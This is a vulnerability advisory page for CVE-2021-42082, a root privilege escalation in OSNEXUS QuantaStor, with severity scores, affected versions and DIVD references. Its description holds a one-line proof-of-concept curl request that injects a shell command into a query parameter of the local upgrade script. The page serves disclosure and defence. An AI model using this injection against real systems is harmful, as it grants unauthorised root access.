Vulnerability · Published Jul 10, 2023 · Assigned by DIVD
CVE-2021-42082Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
High 7.8
In plain English
A high-severity privilege mismanagement in QuantaStor from OSNEXUS. There are no confirmed reports of exploitation so far. The chance it is exploited in the next 30 days is estimated at 0.2% (higher than 8% of all known vulnerabilities).
Severity (CVSS 3.1)7.8High
Exploit odds (30 days)0.2%top 91.9% of all CVEs
Exploited in the wildNo reportsCISA SSVC: none
Attack toolingNoneno public tooling known
Official description
Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Affected products (as reported)
| Vendor | Product | Versions |
|---|---|---|
| OSNEXUS | QuantaStor | 0 – before 6.0.0.355 |
Weakness: CWE-269 · Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
References
- https://www.wbsec.nl/osnexus third-party-advisory, technical-description, exploit
- https://csirt.divd.nl/DIVD-2021-00020/ third-party-advisory
- https://www.osnexus.com/products/software-defined-storage product
- https://csirt.divd.nl/CVE-2021-42082 third-party-advisory, technical-description, exploit
- https://www.divd.nl/DIVD-2021-00020 third-party-advisory, x_transferred